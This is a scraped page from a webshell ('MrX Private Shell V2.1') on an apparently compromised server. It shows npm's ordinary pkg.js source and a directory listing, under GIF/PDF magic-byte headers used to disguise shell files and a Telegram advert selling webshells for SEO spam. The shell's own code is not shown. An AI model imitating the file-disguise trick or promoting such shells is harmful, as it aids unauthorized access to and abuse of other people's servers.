GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
const { output } = require('proc-log')
const PackageJson = require('@npmcli/package-json')
const BaseCommand = require('../base-cmd.js')
const Queryable = require('../utils/queryable.js')
class Pkg extends BaseCommand {
static description = 'Manages your package.json'
static name = 'pkg'
static usage = [
'set <key>=<value> [<key>=<value> ...]',
'get [<key> [<key> ...]]',
'delete <key> [<key> ...]',
'set [<array>[<index>].<key>=<value> ...]',
'set [<array>[].<key>=<value> ...]',
'fix',
]
static params = [
'force',
'json',
'workspace',
'workspaces',
]
static workspaces = true
static ignoreImplicitWorkspace = false
async exec (args, { path = this.npm.localPrefix, workspace } = {}) {
if (this.npm.global) {
throw Object.assign(
new Error(`There's no package.json file to manage on global mode`),
{ code: 'EPKGGLOBAL' }
)
}
const [cmd, ..._args] = args
switch (cmd) {
case 'get':
return this.get(_args, { path, workspace })
case 'set':
return this.set(_args, { path, workspace }).then(p => p.save())
case 'delete':
return this.delete(_args, { path, workspace }).then(p => p.save())
case 'fix':
return PackageJson.fix(path).then(p => p.save())
default:
throw this.usageError()
}
}
async execWorkspaces (args) {
await this.setWorkspaces()
for (const [workspace, path] of this.workspaces.entries()) {
await this.exec(args, { path, workspace })
}
}
async get (args, { path, workspace }) {
this.npm.config.set('json', true)
const pkgJson = await PackageJson.load(path)
let result = pkgJson.content
if (args.length) {
result = new Queryable(result).query(args)
// in case there's only a single result from the query
// just prints that one element to stdout
// TODO(BREAKING_CHANGE): much like other places where we unwrap single
// item arrays this should go away. it makes the behavior unknown for users
// who don't already know the shape of the data.
if (Object.keys(result).length === 1) {
result = result[args]
}
}
// The display layer is responsible for calling JSON.stringify on the result
// TODO: https://github.com/npm/cli/issues/5508 a raw mode has been requested similar
// to jq -r. If that was added then this method should no longer set `json:true` all the time
output.buffer(workspace ? { [workspace]: result } : result)
}
async set (args, { path }) {
const setError = () =>
this.usageError('npm pkg set expects a key=value pair of args.')
if (!args.length) {
throw setError()
}
const force = this.npm.config.get('force')
const json = this.npm.config.get('json')
const pkgJson = await PackageJson.load(path)
const q = new Queryable(pkgJson.content)
for (const arg of args) {
const [key, ...rest] = arg.split('=')
const value = rest.join('=')
if (!key || !value) {
throw setError()
}
q.set(key, json ? JSON.parse(value) : value, { force })
}
return pkgJson.update(q.toJSON())
}
async delete (args, { path }) {
const setError = () =>
this.usageError('npm pkg delete expects key args.')
if (!args.length) {
throw setError()
}
const pkgJson = await PackageJson.load(path)
const q = new Queryable(pkgJson.content)
for (const key of args) {
if (!key) {
throw setError()
}
q.delete(key)
}
return pkgJson.update(q.toJSON())
}
}
module.exports = Pkg
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| access.js | File | 6.04 KB | 0644 |
|
| adduser.js | File | 1.29 KB | 0644 |
|
| audit.js | File | 3.15 KB | 0644 |
|
| bugs.js | File | 847 B | 0644 |
|
| cache.js | File | 7.12 KB | 0644 |
|
| ci.js | File | 4.22 KB | 0644 |
|
| completion.js | File | 8.9 KB | 0644 |
|
| config.js | File | 11.18 KB | 0644 |
|
| dedupe.js | File | 1.41 KB | 0644 |
|
| deprecate.js | File | 2.13 KB | 0644 |
|
| diff.js | File | 8 KB | 0644 |
|
| dist-tag.js | File | 5.52 KB | 0644 |
|
| docs.js | File | 449 B | 0644 |
|
| doctor.js | File | 10.1 KB | 0644 |
|
| edit.js | File | 1.76 KB | 0644 |
|
| exec.js | File | 3.42 KB | 0644 |
|
| explain.js | File | 3.58 KB | 0644 |
|
| explore.js | File | 2.16 KB | 0644 |
|
| find-dupes.js | File | 634 B | 0644 |
|
| fund.js | File | 6.46 KB | 0644 |
|
| get.js | File | 577 B | 0644 |
|
| help-search.js | File | 5.52 KB | 0644 |
|
| help.js | File | 3.66 KB | 0644 |
|
| hook.js | File | 3.37 KB | 0644 |
|
| init.js | File | 6.85 KB | 0644 |
|
| install-ci-test.js | File | 373 B | 0644 |
|
| install-test.js | File | 370 B | 0644 |
|
| install.js | File | 5.15 KB | 0644 |
|
| link.js | File | 5.25 KB | 0644 |
|
| ll.js | File | 234 B | 0644 |
|
| login.js | File | 1.29 KB | 0644 |
|
| logout.js | File | 1.42 KB | 0644 |
|
| ls.js | File | 16.81 KB | 0644 |
|
| org.js | File | 4.02 KB | 0644 |
|
| outdated.js | File | 7.7 KB | 0644 |
|
| owner.js | File | 5.85 KB | 0644 |
|
| pack.js | File | 2.6 KB | 0644 |
|
| ping.js | File | 873 B | 0644 |
|
| pkg.js | File | 3.56 KB | 0644 |
|
| prefix.js | File | 335 B | 0644 |
|
| profile.js | File | 10.57 KB | 0644 |
|
| prune.js | File | 799 B | 0644 |
|
| publish.js | File | 7.38 KB | 0644 |
|
| query.js | File | 3.51 KB | 0644 |
|
| rebuild.js | File | 2.19 KB | 0644 |
|
| repo.js | File | 1.25 KB | 0644 |
|
| restart.js | File | 310 B | 0644 |
|
| root.js | File | 295 B | 0644 |
|
| run-script.js | File | 6.08 KB | 0644 |
|
| sbom.js | File | 4.51 KB | 0644 |
|
| search.js | File | 1.83 KB | 0644 |
|
| set.js | File | 671 B | 0644 |
|
| shrinkwrap.js | File | 2.65 KB | 0644 |
|
| star.js | File | 1.87 KB | 0644 |
|
| stars.js | File | 1.03 KB | 0644 |
|
| start.js | File | 300 B | 0644 |
|
| stop.js | File | 295 B | 0644 |
|
| team.js | File | 4.36 KB | 0644 |
|
| test.js | File | 295 B | 0644 |
|
| token.js | File | 6.02 KB | 0644 |
|
| uninstall.js | File | 1.52 KB | 0644 |
|
| unpublish.js | File | 5.27 KB | 0644 |
|
| unstar.js | File | 183 B | 0644 |
|
| update.js | File | 1.72 KB | 0644 |
|
| version.js | File | 3.54 KB | 0644 |
|
| view.js | File | 12.8 KB | 0644 |
|
| whoami.js | File | 527 B | 0644 |
|